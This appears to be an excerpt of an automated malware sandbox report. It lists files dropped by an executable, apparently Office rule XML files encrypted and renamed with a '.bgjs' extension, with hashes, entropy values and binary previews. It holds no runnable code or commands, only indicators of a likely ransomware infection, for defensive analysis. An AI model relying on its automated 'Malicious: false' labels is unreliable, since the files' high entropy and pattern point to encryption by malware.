SHA-512:	D7B70C12121C8501C700D872DC272D4B1C0762A6E8CC05CE0F1ADC76CB89BE42F4E631375BB4F73A3DA462D1DE7FE92D23D775395308ABF7F0420CA968A6DECA
Malicious:	false
Preview:	<?xml.6?.....5..I...4...E..p.kE../:.... .X6..5i...I..M.......g.N.i...K...U^..S.}k..'F.I..NT@n...}....FyF}!H......c.;.(M3.1.S.x.....?.mY..W.3..;.?.H....]..#....q.n.c5x........u..T...#l.\...;2I....?.......z...g.Jw..ur`W<;?I.nR.V.P.}Zf.':.....O&[.d.j.....F<.....2....u.\...J}..&O.".!.0.:..."...3.....P.P.rA.....dEF..x.....`.....:..cnC.....K..B..........G.><j.+..DK..X.w.y.6....m..Z.m..&O...$.p..~.'..{..w..m.a.5...Y.k.....P+Eu...P...;,ZSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120608v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2493
Entropy (8bit):	7.920481182073141
Encrypted:	false
SSDEEP:	48:WPtuGFqvrGZvzaK4IyOMy+I1tDkPpoiPTOZav+IJHCt19+PD:N5vrDwdj+EupoiKZaTCt19+b
MD5:	6C3A3842B6EC317E1892D7A01E2A9EAA
SHA1:	07E606B60F2BAF04120E62244027032AD360D7E9
SHA-256:	0079237A317B4BE4AA657516B0966D8E6CDDB0EE0E5D2232C34B353A213CE15D
SHA-512:	1797F959AF9C8B43982FC8B13B6C852080A2E5A6A856BBAE1424114DA6A68F3CA38413E03D5EA5E7432EC3566AB6468C0D59F60DED4FBAA85457BEDDE7B859EA
Malicious:	false
Preview:	<?xml. ......~.-o0.F\k_'~....'.p.$..X..s..(B...b..0".X.1.~c_T(.m>.....5 ..F.A..Lo.!.`.=.rw...R.."......#..]..'..(...?..P......4..t9.............M....I..F.....Q.}....9.x'....xU..U+...DCb#.........\|.LO..r...-.Z....\|;... w5Q...p...C_.....5H.RR..we...(.H.A\|_}..D3.H..v.5.eS.yqW)0..b..w......oep.[...i.j.Kd..e......a<..q.....7.;.lGV./.5...F.+.y.l...%....45u.....'.[@B%..S6i..i..+yEZ....H.F.......p...l-..E.Tj......#3A.?.knE...&....(4.x\|Ef{....$.z.Ls........M...7q...k.GO.1..}V)2.}sF....OMx...D:.Hx.%.ur58.E...........TX...GH...ydS..7:v...b.X..Kj..>....=i....m..`...\.$HqX.C..b...m....;.h.y".........HF.,.8.s.I'..=.2}..3/s.4l9D\|.B.%.....`..8..L.y...?...J....5c...=.I.!._.t....&.M\|..w...IA5.O.B.(.(.`......C7....7Q...}. ..+.I\|...H.iI6.0-l\|M....z..s...X..WS....8P.\...."H.b.e...h.H......n./At...X"...s.s./,$.7.._...=l.6..(e*<.!."..(&.......h.....F....>...# ....:..rE."...D.=Q../.8.J.Nh...I..j.....Y....-n.+.......$.:..5..P....g>!... d.@5&Xn'.3+@..a!G

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120609v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.679737674663518
Encrypted:	false
SSDEEP:	12:laLDKESQqRhJjS5syVIOEABZwxANGDp+KMak0+V5VmLsy0jF/4ZoSHL3PWVNlH14:laL5eJjdyqO+xywpyv0+9mIykFeoSHLp
MD5:	E0C9392994F8CA9EE2A48B7820339126
SHA1:	3EB0AB1BEB7EED943E041F2BF386566689FA1361
SHA-256:	4ACFFE3397A9CD2F95D43332448CCC1768FEC64583347CDEAC448846AB156938
SHA-512:	118EFE15AB174774841909B5A9194FF1A7D282875065B1E855A81EF3402CD0107EDA07C06C1891C5FE0DC3D26AA07A0433E6635145109CB1554830E65A9BB55B
Malicious:	false
Preview:	<?xml.[?j..u.?...1..j..o.+.;...!$.$..e..... .3...H...[J.p r...e..=6..QQ..#.."....HC..v...S.jog......4Y.Q......8x.~_....58...Vm.r5.vCS.z!9[-.b....HR.5.Nl..kz.4......!...m.b.........e....$.T,CE.q.G.38U.n\|...v......)..6T.,.\|.~.^. ..w.5....6I.....#g..\| cc......Z....M..%.f...c..B.}.....OO.Y.../.....b..QT.Lo.T,.z}..n.........T#?[.T%.f.s.hF@..e.zL.}.....p.r....S...d."...b4.u8^e.y..5:.zA..l.........K.h.E.7sk..S%\|.J....V..y...R......{6\|........>\|{ c..AkZ.]..5].itl.)...F.2....%.\|.....E.O._SSpc..<>._v...d...Z..0.J`...".i..x!..<...#mH0N.....3...M,.~...\|"...../....Yc.X``o.....r..5.C.i.Fm.....}_.6jp...5.I.Lf-....td..G!.SW3...o>_....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120610v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.746216577564654
Encrypted:	false
SSDEEP:	24:NYtNJBygj3x243RkbNtQwjTWU2awrA6tjNS7A3/URsbD:mtNJBtjxiDQkTycYGA34mD
MD5:	8CD0A47C776831F8531EFB5618050A6D
SHA1:	EECA9674326E5F57567ACF023E56BCA85A37CBED
SHA-256:	90D06D4EFF3D57562AD27270C7CE28812359E83F35F4F02F75967B81F9265575
SHA-512:	115A16E1572E292353717063D999D7520BC7349AF95F2CCF1F4EE479D3A722BFFACB567D436622452BDF459AFE3FE67992756E3D7232F1BE9E6050F805DD597C
Malicious:	false
Preview:	<?xml...............{...l..8..fx..4....+..+.r.j.7di.....8.'.....t>...gxW...s...MYN....b..Z$$.q.?a..z...P.....a....,~..S....]qB.q..`~.,.W+s..IE.6....&;....y>)T.H.@M..ogJ..Z..W\|.&.w>W~..}.f(.A....2.u...C<Yu.6.5...+......1...'...8r>..&.57.J..}....4.}$..E.X..r.y]...k.0dR+....'..Xv.U..j....p.>..u.._...3.....^..su.f..W.X......4..Q..x..H...O.2.....u.=(...U.^T.@,.P8z..4[......[..~..9NV#E..w._...t..m.^#kp+;.....ti\|......i.J..s...z.n.)y.......Q.l....\-_..R"9.....29.....>.`J.=.....(..J../...W...]....A..:.........z..Df.p..b<...r.)...`...C.d.F`...?g=]v.........W.......{.\|.zW.\.._.!.....:.?..-5+A..u.J.d.n..EG.......:..P..`..fO.k.GQu'A..G....).......6c...'h....w.?C..1%@=..O/....i..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120611v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.699859741805532
Encrypted:	false
SSDEEP:	12:YjmXavpBKrluKaaIqwUQTh6d2Dg9X7CSx9LpmynO1wb5uwn07sZFAMXY8hysIgpC:Y7BBKrluKaaIqwU328LpFnOM+sZFBBUL
MD5:	0465C6CF6A8A60A673589D470264C220
SHA1:	399FFE956CD4C10BE5273351D7298C3AEA6987A4
SHA-256:	ACF183ABB5709D9625EC15F3069847D1646959DD2475BF26501283BC2C0E72A0
SHA-512:	E75BAFEBC46945A687E24B072853503AF2D3040AC93A8F5439353E18E363F177C45E5883EABF36182AA8BCF2A1C073A4A8CD89C2E2CAA934E1B231991E9526D7
Malicious:	false
Preview:	<?xml.+.......T..e.7p?;@`..6........'.QX..3J$....P...=....\|..lsX:.+..78.p@h......>...s!V.....;.Q..!%...;..oO.....w.+.......}X`..xmb.>.[....Ra..VY...R&L..k.?\IX$.I.......=!M$.x@...W{..z...H...^.yXn.8...g.E!..<y.P.\...~.5....A/.......P.8h...t.....tw.JE...'.d]...N.:?G.#.d.....(...gK8.;m%...A.=.A.<j...;.u.{.4.l..G.@F..k..o.m...E.f.o/...n..h@........\|E.Z"a......n......)...-5./.j.E.o.o.N.Wp9J...`..F-5.%.....;O.o.f#v.......M..e.....6n..U.4.uV....~q....W?.G.Nj.F1L].._....[U5..cN>...,.X.7......q.@Y..ni...#\d.p0_....y.....!....-..B..q0...Z@...%h6.....P?..bF.w..i\|..ww...0.<,.....Qex._.....Mn.q.]sU..x...s.......\|..:.>.4.\G%.txt.Q^_.[.X&...N.W...K..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120612v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.703791958811102
Encrypted:	false
SSDEEP:	12:IfrjKOuVhXdfJjsIrSNMrhbkQiP5Cqjc2taVgVGX8SYWGoZVJArf1+cii9a:Iz5uV1XsySNeiBryVgu4WG41bD
MD5:	3D6674C0F415A603E072B6889A7BFAF3
SHA1:	651C148C8D8796F4EDD23518BDF61252CFE2D8E9
SHA-256:	BB935EAA2D93C7A860EE9B6F80B7935ED28AAB218641879D3E491BDD24A7323D
SHA-512:	4EC77D85FE465DFD8CD33D9ABF2F1B8C10B20FBE3597DCEC8B7174E06EF86FA60EDFC1C20934C76E61E2A81579411D9074C5BCED1E1EDB2C80AD691DA724220C
Malicious:	false
Preview:	<?xml.g/.n..._.........E..K.nI.N.E.j.....^.L./.,x>......k..c.JF.2....!..^..!\|FE+(... $....SE.W%]...p........=v.!.....m.$5..H...^.t...O...#9........-p.%.jJ...%..b0..^{.Ch......n.5.t.Rq.i.".nsp...s.J...H+rqn..c.....B.ru..+-..-...n%'...,.I..Ib.......U~.,`/w7o....wJ........7.#.8...r}..x...7......3..D.A,....j.z.J...#.sCD..+$>=@...2..._..S.W........N.S..1h..o`..ey4...........E.W.D...[.+4.......Z...jOS."..vL....k..}.(...G.u..l..S.R~.....\.Z...1....n>........q..t/E.....P{.<......9n....NO.e.v..T..R...Z.Q.o...!?.u..a....)TI./:.L.D..2...\.y...,._...p..2..M.EJ.w.D0K.......t..r..+.......F....9p..K>8.[l.n..SK..\..........A.,l.7..+..p..K....6......c-....l.....Z..D d.Y\Y.=....[.s...../.~.x.S.u.p.;j..nt.d...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120613v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	965
Entropy (8bit):	7.785830210203333
Encrypted:	false
SSDEEP:	24:5+/4J2bioCEalcqz6KnNLJ4VFKcJclrf2ZkvYMVHfkJbtbD:5lJ2sEalcqdVyK2oqZkgyAbND
MD5:	F19D44DA431E1673DD72A26C6213587F
SHA1:	161F468BB086189F4724AB8631ABDF72ABA93F6C
SHA-256:	738F542428AFF77EFE4E91AB1B6C0E4983C79C4ABAC7CA002D5230C3AB3FD44D
SHA-512:	7C1BA2C15C41659F27ADBF96C1EC87C0A39E932F0BDF16A79AC43CC998130C6FBB5C0D1CB0919B56F42713F6908BA5E55F1978CC06A3C44CEA7D303EE096D24A
Malicious:	false
Preview:	<?xml.U.T!:R...7...s...."...?.Y..(.9..k..p3.4.m...EL.....NKMv..t.]V..>..M!....{b..=)...>@.......k...?..!...n..<9h.Z.?.";-.f.....m.g.b.>..y0j2.uw.!fB...C\|D.".X.,...i.4...B...'.....9-.8q(...K.......x ..T.\.-.J.O.0..dFL.Z.2.\| 4..6..]..}....AIZ...R...t..A..A.\..G..`.2.......G..mb.U.R..\.....3"..%.....Q....U..m.j..!}......o..gO..Ep.dU.{Yme.D...w.dC>...H...1.....oB.....%i2lO.....'..-.j...0.t.o6...w.@}?3.seo.X...@...k.?...f+ s&........%&.......7..v..t...H...6.X.U.X7..D.....\.IN..!.Z....!..-.GN.\.M.2...a...3.1...B.............q.v._.....V...2......\..".]...'8..Brc.....(..?.=5y...^......)..Rd..vZ..o..l.....=......q\..r.).....-.N...pO..[...mq.Z.4...g>...h.....`a....z..9...h...s.....9.3x..F..h+.r/ZD....jk}....9..>..........q3....6..1:3.R.O.&O.4.I..$y.5.....Ig.....f.;...=3.W.....$..P.......Qh...)t.$....S.vn.Z.Rd.V......R...]].SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120614v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	800
Entropy (8bit):	7.69506337645079
Encrypted:	false
SSDEEP:	12:gxtmdbl3CuwTh+OZxizxM7S5sClaMUSgmEQ8IAKsHePlYq8ktuD8EnvNvfdP0iMm:gCvch+OHUxGeLE0/P/8ktAFfWcbD
MD5:	D813F04DA05132E826F8DC6D456F06B6
SHA1:	53D71E9D0618D344CAD5993A743418FE1EDDC22F
SHA-256:	15ABA8F9E50A347E0596F6848F989271A8F8356111027EAF740A1EED8F92CD82
SHA-512:	52778031A5ADC882DE8D93E57D2D3E3C2253B1D83E602319D4254CDC2442DCA55AA09133F35FF561EF6D74AEB5552CBE95FF78340C0D215D383A04934608C435
Malicious:	false
Preview:	<?xml..E....'..H..-bM c.MyT.8....A...[`f..2.v.}".x....E.6\.h8.N^4.+..Gw.w......\...2..$.D.%.n.V{Bp1....z..^.....b8......=&p~.C$K.......T.~#.Io..Cp.A...r4.2...8...>.=f.v^...1W1..`...j_..@.`$"X{..Onr...@....G...O.M..7.......O.7o.g....&.H}....d\pI......]..Q....P.A..I...G.>..P.vP..M...z..t..a..{.b.V...L.S.U....{]...u..&.~..6...J[6.l#.O....8.Tnk....S.B..........Lx.. .c........9<.].+).v`.Gv.....d..\|=.!(..n..<..W/....F#.f7.0).h_.b..)J.[.-=>H2..z......D.O...4jC.\..8.#..S.[.d....B....wF"F.;..%.\|E.J..........\..w..N8D%.ps.!.h...Jh......f<y>,.....;.WU....K....ox.....B..S..n.4...;..mN.......2..0.I9C..:...X..w.t....OU3..Gx.&...j.mj..7..w........d.l.xG8...f..F]/..Z..l...M.....6#..8.P.b.[....jSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120615v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.663152736648086
Encrypted:	false
SSDEEP:	12:NmDRmZGiXmcQzt/DgnjDmzm7ysc4DUO9lDFfz/IqHKduqMmJfjd7GJLz1+cii9a:EDCWLS/mzhKZ9r/ZHKfMYp66bD
MD5:	BB28BBBA327594FA8ECED6B86AA03B25
SHA1:	803A4C3E2ECC3084A2F8BCDDF8312608B88F7310
SHA-256:	889ACE25AEB64D9C048F3F78B8ADAD84907C18102C26A2F000BEB471C8E3B8E0
SHA-512:	CD6D1333CBB259599C41C6EEAFF2AAF06D19C3D87179071E5723533EB385507A514300122B07D5F80DEE357769FF59DDD1F6A540AF627F529DAE4CED9648C696
Malicious:	false
Preview:	<?xml."\|....w...6..5.z.:;R..wy...Ww.'........m..uM.6M,.....N.?....~?...G.A.2.i...Fki.......Oc.....e+{.H3.e...4..M...M.e..".Y...A.31...G..P..t......D.'e${...A...X.k.i?.LK...{..C5>.^...FF.n.c..Mxq..C......W8....pE..yT....K9..F...t.....o...[...%.AO.l..T(..D....%.;..7...4.k..D..n..pYk..rs..../...I.S....t..}...NG.....7.I.7[/9...]cr.u....95.#...H\r.D..b....4].6t.cH.{..4....r4..Bi.....i.+...X..a.E.4.4..9gQ.?...j..p..l.:K......9T..>.Hh...A....U...uX....W2.qM_..R"....%N....TwbX...1....YR.L..,.t;oo...>..........mA.w-n&]+....s7y....&.8l.s..l..aD.....6&.De..b.l[#@..zWx..M.........(...&2..X....`[...0.. ...#.Z..^..K.b/..w....].,.\|%...>.Y'.uSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120616v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.76979661837674
Encrypted:	false
SSDEEP:	12:s5Jlq21+O2lDxx7f4YyXjnzoC9wZeLCEjEBeuSCbYLslFXD5SLLV1+cii9a:Oq2l2lNxb4YUrwW5iaCELsT5S3ObD
MD5:	5E65FD3496C4F436F24B05F23A64CF36
SHA1:	10201AF15867E24D388ECFB2E9DD1D59BC189BCB
SHA-256:	E86E9102E019568FADF9FEEA155DF89B20FCF3DA21F37705A5059B3E1098AD74
SHA-512:	20CDF1AFCCF44ACCF67A522FAFDD87F266D395E8A32D327F7AA2F8A9C133470DD3EC1605F3920DE381A9121FA447F677FCCE78BF57702E17E58287E0DF4C32F1
Malicious:	false
Preview:	<?xmlHW.....R.1..:..}......=@...GI.w...A&r...A.....}.)..t).^H..K....z.M..@.......Ok..\|%..QU.6x.z...Q..p.....a..L..7.X>.$....MO....9..._.Z.....d.......5...u.+.n..&\|r>..1..(..."..e..E..+.V.,.....w.....c?<u.....l..)oE...v).o..q[.L-.....O[.......,.N.\.[..UrqS.c.le...."u...U.0m...".~...(Xz..../}.(m..q....}...30.@..H....5.?,.....+......i`.....L}5{Pr.k......#X..s..nC..W.e...-....fA.F..]{we.u...=....U......7;.)..5)..q.....u.a...0Z..N...T...z.S..vh..y.=n.4m..dB.;3.[.>..w.uk.7j...I\|....T.dQO.3fz.......V.r...Yt..&3.}....0..r~~T.$...Em.jB`...ml..Y..d.f?.>.da.......Q...7..5h...%...2.L..S..N.,.H...>.G............_.,N........mh5V7.K.L.8.....t >...g!s.Y*{...~t.p..DH3.....vt.c.CZ..Et ....r...U......0..ZASLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120617v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.7120262970010485
Encrypted:	false
SSDEEP:	12:w3wyyxI1c4LWdHDsP/P/axZ584qTr2sitYOy67UlocaTaVsNmkGyKab3qef1+ciD:wAyDW4idsPSZMCtYOy67kocjsNmkzsbD
MD5:	997F4AE24762A86BFD4128F2C9568AC4
SHA1:	BE9C00A668740BB74CB6927246BAE50515D3038D
SHA-256:	698A2C2C945EDB1924A8FEB57DE8C32B17DBB87161B8BA63ED3EE6E160AF7A2C
SHA-512:	395ABE46C0D9EBE9B29AD27DCD5E97D378451074D973EE0CDB5602DA798D8B3DF2368947045FDE2DF5A144CC266E77836A8311A24BE48DE7462D96095B6F9071
Malicious:	false
Preview:	<?xml.....F.....m..#...f}....8K..C......,..[..w:.....@../.....F....X...GPK../ov....1.$...:.m..h.%:a}.k.c2..k....)...D......H..tW\|....b.......h.Ox.a..V.n.R0\....5...v9.......(.-....U.......}.,...jxU.o=S.A..M{...2... W..o.....BH-W...Q...k..x?t...!<.j.. g:....`..{...\..nQX...p1).X ...^OmEJ...u..(o~8..^.{.....,<.Q...vtY...\v.J.M..........(x........6\32^.>...8Ji.,p...rt...g"S.~.d...4..\|:.2.6.....M..e:....}......Z...g.P={...k..<..<.$..]N[._...\|..-..o.M.Z.S../[.j....A...1$_h....s/..s!..L..Lzj/......c..\d...u...o.H..gk.{^T8dT.d.5.Z..^...'..u.....s..fK...-...z..z.1o.$..B=\|.}..Z...9..I,K.n.z 1.A..@t.=G4.-6hs....@z}.1.u...pLN.>..,..*.D.[.W.h.=..'....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120618v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.728678188350466
Encrypted:	false
SSDEEP:	24:VXb868zKJjfkQN+hENQU4m4GWFOy8GGjybD:db868zKxfkQghEQwH7y87MD
MD5:	0688451781DAC5E29C85FDA96EFB9D6F
SHA1:	40C3B9835CF39916F66932A2056865EB5FD07482
SHA-256:	15D27D2A01D28BDE98157C9A3F8C4CDD4C853B1531863FC950DFF54BAD90F3C7
SHA-512:	D24C0E631129341BA4994719FC4D4B862110EC10D54F5DF3418E5384FCB8DD306C1BA9B19165AA50E3148D07CB24E3A4F432FF91124AF82ADD5B1BA35DA21951
Malicious:	false
Preview:	<?xml.Hm.{9.F....NwF''p.5.!'...H+..,..T5..i).......3q..}-.NzkSu..d..........Y.}.{.......N.E..M.\%H....>+..\|!.7...CN........F.+IH.EX!..}..-k..[.qcU.8_...4&`..[.....B.t.........?....op!..\...D.....].yk..^.mi.....ny.l......y.j........K..7.[.N...'...?..u..H.2\|.Z...kV.J:5..9......%....J..m$..G}...D..'D....Z.H..;-X`qY.U..'..O.!...'S..c..~..SPf....Z3...."....M..FXyy..JA.+D.6.<...k....Z..G....o]pl..6./7._$.B..nk..-..(.iB.r.A+.z.d.gK../.Rj.....iS/..U)..F.sF..~..j.(.....b.....0).{...M.*..7.x"U...$.QIy...\.$...x/. t..0....:....V~J..E.. .L..".k.Q..V6.....3....n..%5yN.i.Xh`...M^.n.o~.%o....&.X.U..O#.(.).Q.!.-...m.6.....Y...)I.a...+]6F...{..M.l.V..l........Lnn..5SrI+.....1V4.....\x.z..Y\|...k{....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120619v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.676107537848266
Encrypted:	false
SSDEEP:	12:kN+3jW+l/awFkI71lAN9LRu4b/txqSVJj5Bte6baJA/PH4q/+FG3jsu1rOpj8H14:kozHl1FkIR2N9LxNjjH3baJA3f+4b1Y3
MD5:	DEF5F9D324A5B170994DD940D11A28AC
SHA1:	EE41D93DF6083D00A34B5246475675B2E9E46104
SHA-256:	9020F354185B8D6171683695BB78FAFEF101C015F67A680BFBAE7DD1E84F2C1B
SHA-512:	C279F42C371C1DC54A3906F0FB675C98DCBFAE6AC9CD74B9E470C083DA26BDF5951392A6CA80F1218EF8B1B32DF8CB91DAABBA4DAA475E7B9B24013CE9D40BB1
Malicious:	false
Preview:	<?xml......UI.De..\..X.O_{.....P{"H&u..e:.....=.c...].U.%.y^.1...j..X/.+....S#......^.+..(B?<.??4.o.U..cD..#{._.f..=<n....7.....P........;..k.!..RT3......g..6.\.a@..8..m..6s.DYU2p.E....P.....RrPK..C.[...c.B.....w..4.[O(......ET...,.m ........B}...e.Qp.%.j/.R......z......j.q..].[jV'.+\6..'. .-2..4..%....]4....<eFR...;.1..(?!..~..p.w..y?z..qC..............<yM'...nl.@.Kt..@<..4......5<..e...?..6..,x........D....O........<.P..4(...c+..H.SI.K.)...^.f7.y.C..j...)`..V]c.`O..J....(......'@./.#\|.@.&!....E.3H..B+..<.P...uF.J&t.......u...S...s./...cm..{.......3..v..S.].("Wq...26[Q.5..\|.o....lJl..&qb...d.m.t.....<......z~..4..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120620v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.718391879085486
Encrypted:	false
SSDEEP:	24:kzfLb//hBDUoi4W96VVn6aV8sQF1/XEuqXMIg8uDVbD:kPbHnwfbAD6mQFGuqRg8uDFD
MD5:	9502A2D82B60B3016D5C1F51496A6DDC
SHA1:	E19D140B5AC7C0CE527DCD4960A0872E2BFB8B68
SHA-256:	F05592A558B4E11824726F3BE0E3ECC6C05F0CADC3B3695FC9674D2ED53B5F87
SHA-512:	16AAA192D7846DFD624AB3FBDD2C393F4268878F3433ABEA20113314E28A21373F54A7B3A1FC0A1719165D7FAC92C030EE7C83D91121965D5302E33B63A2AE34
Malicious:	false
Preview:	<?xmlH.NC.^.U.1.3...A.'e...1...y..ZOOc...WT.w..%.r.,.MG..Q.t..(....M...tfQP2n.u....]..[....../..bu..........o.s.d...;_.).X.......H..\d.1.s.[^.#v@.;.xx..I...J.\|ah;g.../...)C.]...M..%.=..B..'.....g.._....v....%?..b......8......g..+...<x..,D.F..B....2{p.rk...V...^......Y......b..I.r.X.... `.h...={.B...LW.L.G........vT)Y.*...D.F.Jp[.H.......v.H/.8.sr.}.\|..x....h}..q.n&J.a.E.@....c....P&..}...M..Tr...`I..%.eG.=Op'....#.....Gw..^.+..1.dy.c}=...lO..})..:n..U...<.......$r#.Qx.g..&..N4}..D........h......)Z..C.].;..:P....~....~..Gghf67..s.....0....b..g..,.^.K.J....fC.Y...%S.=C(...Y....q,G.X5..@m....:q..vZ5.+........R..w.\|fPW..:..Ep(.....3c....i6m(P...P.C(.[.../.w.Z..i..=..Z.}...h7X.u2......XSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120621v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.745481152469723
Encrypted:	false
SSDEEP:	12:cIO8vr+9UenZniTLY4tYueiZ99EoFGPtR1bBVYzUxMPhhGpUDzh23bY/3CH1+ciD:cp8vr+dIPY4NeO99Ekatb/aUx8DGeXSC
MD5:	3616B7BCC2EA59C30070FC84D63FBD01
SHA1:	55F93EAA43EE2F32CC599E607495A5FF2F3485BC
SHA-256:	99A77C17A3C59AA5839F79A7BD5DE7CB8F9582D5B0C9F7716EEB42893C8FBAC8
SHA-512:	9CDA03698ACD2627DE69FE594ABAE78CF69F37F37344667ECAA434038A68A89676B484A44B5F3B745437365F54C37A70BECA0E40B9AE03CF5F2EE07D2D31E335
Malicious:	false
Preview:	<?xml.^.u.-}..Q..f,z^...Az.+.. .q'.j.y.n..yr......O.q.@.?.......\...$2........^...XQ..(..+R.-+.=..E.... \..a.qh....c0..dcCkx....tr..4.;.M4....q....z..K.ea.....J.O..J._=\.[....BeP..{E...9. .m..9.......v.m[.H.p.~.}......`.1...mS.s.mmg....T.u...:?.:W.".b.9..k..K,..L..3MWTn,.7..H.ZF....Dj.o)..cD5BF.....8I....=..H.E..:q.V..G...}...v.0..U[.u..R...9O.f../.A.N.G...b.0..y.V..<2P.....}l).1......)....O.d..5U$..c.<......&...okm....1i.x.\|?%.x.....Ml.-.`..s.0..Am......M=.....cx...R...o.=z1.......c[@.....r.....r.t..$.G]~g........,.....G^..'q............P(.^...._.^^.`V..`.1.....WX!.&4.....b@.......}R..8.....j..........P.8..s..j.+C....hy..bio\.?l.X?V.F.n&SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120622v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.752671978457333
Encrypted:	false
SSDEEP:	24:YF78ZkZ+k0Q5UIyfZIXhA7PuOvbrDgDVSbm/u0+ZsbD:GxXuISbr+fvD
MD5:	0AA38E5DEBA1F942B97AF54FA6A8E2CF
SHA1:	7CB79304105235112593F95B60D42842FFC77464
SHA-256:	7EC1D46DF69A7E2A2B481692E1BF56520A8EB96CF66809B117ABAE9D20786376
SHA-512:	63F514FADB4ED7E5AF60281CE9F08501D5A11DE95809CBFC7B41BAA888D9D0CBC5BBF2A612102A55FF64A396D11054FCE0BB013D7B7DF93642DBF9620F1B858C
Malicious:	false
